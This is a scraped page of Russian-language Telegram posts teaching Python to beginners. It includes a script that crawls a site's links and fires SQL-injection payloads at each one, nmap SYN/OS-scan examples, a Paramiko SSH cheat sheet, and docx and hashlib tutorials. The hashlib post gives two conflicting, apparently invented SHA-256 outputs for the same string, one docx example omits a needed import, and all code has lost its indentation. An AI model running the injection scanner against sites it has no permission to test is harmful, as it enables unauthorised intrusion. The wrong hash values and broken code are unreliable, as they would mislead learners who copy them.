Latest Posts from Python для новичков (@pythonvideo) on Telegram

Python для новичков Telegram Posts

Python для новичков
Админ: @solkogan
Купить рекламу: https://telega.in/c/pythonvideo
6,417 Subscribers
255 Photos
15 Videos
Last Updated 27.02.2025 08:32

The latest content shared by Python для новичков on Telegram


Как создать простой скрипт на Python для тестирования SQL уязвимостей

Для этого мы можем использовать библиотеку requests для выполнения HTTP-запросов, а также BeautifulSoup для парсинга HTML. Убедитесь, что у вас установлены необходимые библиотеки:

pip install requests beautifulsoup4


Вот пример простого скрипта для тестирования ссылок на SQL-инъекции:

import requests
from bs4 import BeautifulSoup
import urllib.parse

# Функция для проверки уязвимости на SQL-инъекции
def test_sql_injection(url):
# Примеры полезных полезных SQL-инъекций
sql_payloads = [
"' OR '1'='1",
"' OR '1'='1' -- ",
"' OR '1'='1' /*",
'" OR "1"="1',
'" OR "1"="1" -- ',
'" OR "1"="1" /*'
]

for payload in sql_payloads:
# Создаем URL с полезной нагрузкой
test_url = f"{url}{payload}"
try:
response = requests.get(test_url)
if response.status_code == 200:
# Проверка на наличие ошибок SQL в ответе
if "error" in response.text.lower() or "sql" in response.text.lower():
print(f"[!] Potential SQL Injection vulnerability found at: {test_url}")
else:
print(f"[ ] No vulnerability detected at: {test_url}")
else:
print(f"[ ] Received status code {response.status_code} for: {test_url}")
except requests.RequestException as e:
print(f"[!] Request failed for {test_url}: {str(e)}")

# Функция для получения всех ссылок на странице
def get_links(url):
try:
response = requests.get(url)
soup = BeautifulSoup(response.text, 'html.parser')
links = [a['href'] for a in soup.find_all('a', href=True)]
return [urllib.parse.urljoin(url, link) for link in links] # Полные URL
except requests.RequestException as e:
print(f"[!] Failed to retrieve links from {url}: {str(e)}")
return []

# Главная функция
def main():
target_url = input("Enter the URL to test for SQL Injection: ")
links = get_links(target_url)

for link in links:
print(f"Testing {link} for SQL Injection...")
test_sql_injection(link)

if __name__ == "__main__":
main()


### Основные моменты:

1. Скрипт запрашивает URL: Вводите URL сайта, который хотите протестировать.
2. Получение ссылок: Скрипт получает все ссылки на указанной странице.
3. Тестирование на SQL-инъекции: Для каждой ссылки скрипт добавляет различные полезные нагрузки и проверяет ответ сервера на наличие ошибок SQL.
4. Вывод результатов: Скрипт сообщает, если обнаружена потенциальная уязвимость.

- Этот скрипт является базовым примером и не гарантирует обнаружение всех уязвимостей. Для более глубокого анализа используйте специализированные инструменты для тестирования на проникновение.

https://habr.com/ru/articles/852900/

Подписывайтесь на мой второй канал, про Linux

👇👇👇

https://t.me/mindlinux

👆👆👆

https://habr.com/ru/companies/selectel/articles/852468/

Работа с документами формата DOCX в Python может значительно упростить офисные задачи. Для этого часто используется библиотека python-docx, которая позволяет создавать, изменять и анализировать документы Word.

### Установка библиотеки

Сначала необходимо установить библиотеку, если она еще не установлена:

pip install python-docx


### 1. Создание нового DOCX документа

Этот код создает новый документ и добавляет в него заголовок и абзац.

from docx import Document

def create_document():
doc = Document()
doc.add_heading('Заголовок документа', level=1)
doc.add_paragraph('Это абзац текста в новом документе.')
doc.save('новый_документ.docx')

create_document()


### 2. Чтение текста из существующего DOCX документа

Этот код считывает текст из существующего документа и выводит его на экран.

from docx import Document

def read_document(file_path):
doc = Document(file_path)
for paragraph in doc.paragraphs:
print(paragraph.text)

read_document('существующий_документ.docx')


### 3. Добавление таблицы в документ

Этот код добавляет таблицу в документ с заданным количеством строк и столбцов.

from docx import Document

def add_table_to_document():
doc = Document()
table = doc.add_table(rows=3, cols=3)
for row in table.rows:
for cell in row.cells:
cell.text = 'Текст ячейки'
doc.save('документ_с_таблицей.docx')

add_table_to_document()


### 4. Изменение текста в существующем документе

Этот фрагмент кода изменяет текст в существующем документе.

from docx import Document

def modify_document(file_path):
doc = Document(file_path)
for paragraph in doc.paragraphs:
if 'старый текст' in paragraph.text:
paragraph.text = paragraph.text.replace('старый текст', 'новый текст')
doc.save('измененный_документ.docx')

modify_document('существующий_документ.docx')


### 5. Добавление изображений в документ

Этот код добавляет изображение в документ.

from docx import Document

def add_image_to_document():
doc = Document()
doc.add_heading('Документ с изображением', level=1)
doc.add_paragraph('Вот изображение:')
doc.add_picture('путь_к_изображению.jpg', width=docx.shared.Inches(2))
doc.save('документ_с_изображением.docx')

add_image_to_document()


### 6. Поиск и удаление абзацев

Этот код ищет и удаляет абзацы, содержащие определенный текст.

from docx import Document

def remove_paragraphs(file_path, text_to_remove):
doc = Document(file_path)
for paragraph in doc.paragraphs:
if text_to_remove in paragraph.text:
p = paragraph._element
p.getparent().remove(p)
doc.save('документ_без_абзацев.docx')

remove_paragraphs('существующий_документ.docx', 'текст для удаления')


### 7. Форматирование текста

Этот код форматирует текст в документе, добавляя жирный шрифт и курсив.

from docx import Document
from docx.shared import Pt

def format_text_in_document(file_path):
doc = Document(file_path)
for paragraph in doc.paragraphs:
run = paragraph.add_run('Этот текст будет жирным и курсивом. ')
run.bold = True
run.italic = True
doc.save('документ_с_форматированием.docx')

format_text_in_document('существующий_документ.docx')

Шпаргалка по библиотеке hashlib в Python, которая поможет новичкам понять, как использовать её для работы с хешированием данных.

### Что такое hashlib?

hashlib — это стандартная библиотека Python, которая предоставляет интерфейс для создания хеш-функций. Хеш-функции используются для создания уникального представления данных фиксированной длины (хеша) из произвольного объема данных.

### Установка

hashlib входит в стандартную библиотеку Python, поэтому установка не требуется. Просто импортируйте библиотеку:

import hashlib


### Основные хеш-функции

hashlib поддерживает несколько популярных хеш-функций:

- MD5: hashlib.md5()
- SHA-1: hashlib.sha1()
- SHA-256: hashlib.sha256()
- SHA-512: hashlib.sha512()

### Примеры использования

#### 1. Создание хеша

import hashlib

# Создание объекта хеша
hash_object = hashlib.sha256()

# Обновление хеша данными
hash_object.update(b'Hello, world!') # Обратите внимание, данные должны быть в байтах

# Получение хеша в шестнадцатеричном формате
hex_dig = hash_object.hexdigest()
print(hex_dig) # Пример вывода: '315f5bdb76d084c2d8b11d0f600bfb0c8b11f8c3f0f0f8e7e7b6f3e4f2c4b2c1'


#### 2. Хеширование строки

import hashlib

# Функция для хеширования строки
def hash_string(input_string):
return hashlib.sha256(input_string.encode()).hexdigest()

# Пример использования
print(hash_string("Hello, world!")) # Вывод: 'a591a6d40bf420404a011733cfb7b190d62c65bf0bcda190c3c6c1e06f89c1b'


#### 3. Хеширование файла

import hashlib

# Функция для хеширования содержимого файла
def hash_file(filepath):
hash_object = hashlib.sha256() # Или любой другой алгоритм
with open(filepath, 'rb') as file:
# Чтение файла по частям
while chunk := file.read(4096):
hash_object.update(chunk)
return hash_object.hexdigest()

# Пример использования
print(hash_file('example.txt')) # Хеш содержимого файла example.txt


### Основные методы

- hashlib.new(name): Создает новый объект хеша по имени алгоритма.
- hash.update(data): Обновляет объект хеша данными. Данные должны быть в байтах.
- hash.hexdigest(): Возвращает хеш в шестнадцатеричном формате.
- hash.digest(): Возвращает хеш в бинарном (байтовом) формате.

### Пример работы с несколькими алгоритмами

import hashlib

# Данные для хеширования
data = b"Hello, world!"

# MD5
md5_hash = hashlib.md5(data).hexdigest()
print("MD5:", md5_hash)

# SHA-1
sha1_hash = hashlib.sha1(data).hexdigest()
print("SHA-1:", sha1_hash)

# SHA-256
sha256_hash = hashlib.sha256(data).hexdigest()
print("SHA-256:", sha256_hash)

# SHA-512
sha512_hash = hashlib.sha512(data).hexdigest()
print("SHA-512:", sha512_hash)


### Заключение

hashlib — это мощный инструмент для работы с хешами в Python. Он широко используется в безопасных приложениях, проверке целостности данных и многих других задачах. Используйте хеши для проверки идентичности данных и защиты паролей, но помните, что некоторые алгоритмы, такие как MD5, больше не считаются безопасными для криптографических целей.

### Полезные ссылки

https://docs.python.org/3/library/hashlib.html

Уже долгое время я изучаю тематику цифрового бессмертия. У меня есть сайт virtperson.net, где можно создавать чат-боты, имитирующие вашу личность.

С каждым днём нейросети становятся всё умнее, а цифровые агенты всё правдоподобнее. К чему это приведёт?

Я выпустил книгу, в которой попытался подробно рассказать о нашем будущем. И да, там даже картинки есть 😉

Заказать можно на Озоне (бумажный вариант, с доставкой):

👇👇👇

https://www.ozon.ru/product/tsifrovoe-bessmertie-removich-ivan-1731172508/

☝️☝️☝️

Шпаргалка по библиотеке Paramiko для работы с SSH в Python.

### Установка
Чтобы установить Paramiko, используйте pip:

pip install paramiko


### Импорт библиотеки
import paramiko


### Подключение к удалённому серверу

#### 1. Подключение с использованием пароля

# Создание клиента SSH
client = paramiko.SSHClient()

# Загрузка известных хостов
client.load_system_host_keys()

# Добавление сервера, если он не в известных хостах
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

# Подключение к удалённому серверу
client.connect('hostname_or_ip', username='your_username', password='your_password')

# Выполнение команды
stdin, stdout, stderr = client.exec_command('ls -l')

# Получение результата
print(stdout.read().decode())

# Закрытие соединения
client.close()


#### 2. Подключение с использованием ключа SSH

# Создание клиента SSH
client = paramiko.SSHClient()

# Загрузка известных хостов
client.load_system_host_keys()

# Добавление сервера, если он не в известных хостах
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

# Подключение к удалённому серверу с использованием ключа
private_key_path = '/path/to/your/private/key'
private_key = paramiko.RSAKey.from_private_key_file(private_key_path)

client.connect('hostname_or_ip', username='your_username', pkey=private_key)

# Выполнение команды
stdin, stdout, stderr = client.exec_command('ls -l')

# Получение результата
print(stdout.read().decode())

# Закрытие соединения
client.close()


### Выполнение команд

# Выполнение команды и получение результата
stdin, stdout, stderr = client.exec_command('your_command')

# Чтение вывода
output = stdout.read().decode()
error_output = stderr.read().decode()

print('Output:', output)
print('Error:', error_output)


### Передача файлов

#### 1. Скачивание файла

sftp = client.open_sftp()
sftp.get('/remote/path/to/file', '/local/path/to/file')
sftp.close()


#### 2. Загрузка файла

sftp = client.open_sftp()
sftp.put('/local/path/to/file', '/remote/path/to/file')
sftp.close()


### Использование контекста

Для автоматического закрытия соединения можно использовать менеджер контекста:

with paramiko.SSHClient() as client:
client.load_system_host_keys()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect('hostname_or_ip', username='your_username', password='your_password')

stdin, stdout, stderr = client.exec_command('ls -l')
print(stdout.read().decode())


### Использование SSH-туннелирования

#### 1. Создание локального туннеля

transport = client.get_transport()
local_port = 12345
remote_host = 'remote_host'
remote_port = 80

# Создание локального туннеля
transport.request_port_forward('localhost', local_port, remote_host, remote_port)


#### 2. Закрытие туннеля

transport.close()


### Обработка исключений

try:
client.connect('hostname_or_ip', username='your_username', password='your_password')
except paramiko.AuthenticationException:
print("Authentication failed.")
except paramiko.SSHException as e:
print(f"Failed to connect: {e}")


### Получение информации о системе

# Получение информации о системе
stdin, stdout, stderr = client.exec_command('uname -a')
print(stdout.read().decode())


### Полезные методы

- client.exec_command(command): Выполнение команды на удалённом сервере.
- client.open_sftp(): Открытие SFTP-сессии для передачи файлов.
- client.load_system_host_keys(): Загрузка известных хостов из системы.
- client.set_missing_host_key_policy(policy): Установка политики для неизвестных хостов.

### Закрытие соединения

Не забудьте закрыть соединение после завершения работы:

client.close()


### Примечания

- Убедитесь, что SSH-сервер запущен на удалённой машине.
- Для использования ключа SSH убедитесь, что права доступа к файлу ключа установлены корректно (например, 600).

Погрузитесь в мир Python с нашим бесплатным курсом!

🎓 Включено 45 уроков, 56 упражнений в тренажере и 163 проверочных теста. Узнаете, как создавать программы, работать с условиями и функциями.

Что вы освоите:
— Составление программ из нескольких модулей.
— Анализ ошибок в коде с использованием отладочной печати.

📚 Курс охватывает основы Python: синтаксис, условия, циклы, типы данных и библиотеки. Практика на каждом шаге поможет вам уверенно использовать язык.

Начните свое обучение с бесплатного базового курса Python и вы сможете создавать несложные программы, а так же анализировать ошибки в коде!

Шпаргалка по библиотеке python-nmap, которая позволяет взаимодействовать с инструментом Nmap из Python. Эта библиотека полезна для автоматизации сетевого сканирования и анализа.

Для работы с библиотекой python-nmap необходимо, чтобы утилита Nmap была предварительно установлена на вашей системе.

### Установка
pip install python-nmap


### Основные компоненты
- nmap: Основной класс для взаимодействия с Nmap.
- scan(): Метод для выполнения сканирования.
- all_info(): Метод для получения всей информации о сканировании.

### Основные методы

#### 1. Импорт библиотеки
import nmap


#### 2. Создание объекта Nmap
nm = nmap.PortScanner()


#### 3. Сканирование
- Синтаксис: scan(hosts, arguments)
- Пример: Сканирование хоста по IP
nm.scan('192.168.1.1', arguments='-sP') # Ping scan


#### 4. Получение информации о сканировании
- Основная информация о хосте:
print(nm.all_hosts()) # Список всех хостов
print(nm['192.168.1.1'].state()) # Состояние хоста (up/down)


- Получение информации о портах:
for proto in nm['192.168.1.1'].all_protocols():
print('Protocol : %s' % proto)
lport = nm['192.168.1.1'][proto].keys()
for port in sorted(lport):
print('Port : %s\tState : %s' % (port, nm['192.168.1.1'][proto][port]['state']))


#### 5. Сканирование нескольких хостов
nm.scan(hosts='192.168.1.1,192.168.1.2', arguments='-sV') # Сканирование с определением версии


#### 6. Запуск сканирования с дополнительными аргументами
- Примеры аргументов:
- -sP: Ping scan
- -sS: TCP SYN scan
- -sV: Определение версии службы
- -O: Определение операционной системы
- -p: Сканирование определенных портов
nm.scan('192.168.1.1', arguments='-sS -O -p 22,80')


### Примеры использования

#### Пример 1: Простое сканирование
import nmap

# Создание объекта сканера
nm = nmap.PortScanner()

# Сканирование
nm.scan('192.168.1.1', arguments='-sS')

# Вывод информации
print(nm.all_hosts())
print(nm['192.168.1.1'].state())


#### Пример 2: Сканирование диапазона IP
import nmap

nm = nmap.PortScanner()
nm.scan(hosts='192.168.1.0/24', arguments='-sP')

for host in nm.all_hosts():
print(f'Host: {host} ({nm[host].hostname()})')
print(f'State: {nm[host].state()}')


#### Пример 3: Сканирование с определением версии и ОС
import nmap

nm = nmap.PortScanner()
nm.scan('192.168.1.1', arguments='-sS -sV -O')

print(f"IP: {nm['192.168.1.1'].hostname()}")
print(f"State: {nm['192.168.1.1'].state()}")
print(f"OS: {nm['192.168.1.1']['osmatch'][0]['name']}")


### Обработка ошибок
try:
nm.scan('192.168.1.1')
except nmap.PortScannerError as e:
print(f'Error: {e}')


### Список доступных функций
- all_hosts(): Возвращает список всех найденных хостов.
- state(): Возвращает состояние хоста (up/down).
- all_protocols(): Возвращает все протоколы (TCP/UDP).
- has_tcp(port): Проверяет, есть ли TCP порт.
- has_udp(port): Проверяет, есть ли UDP порт.
- get_service(port, proto): Получает информацию о службе на порту.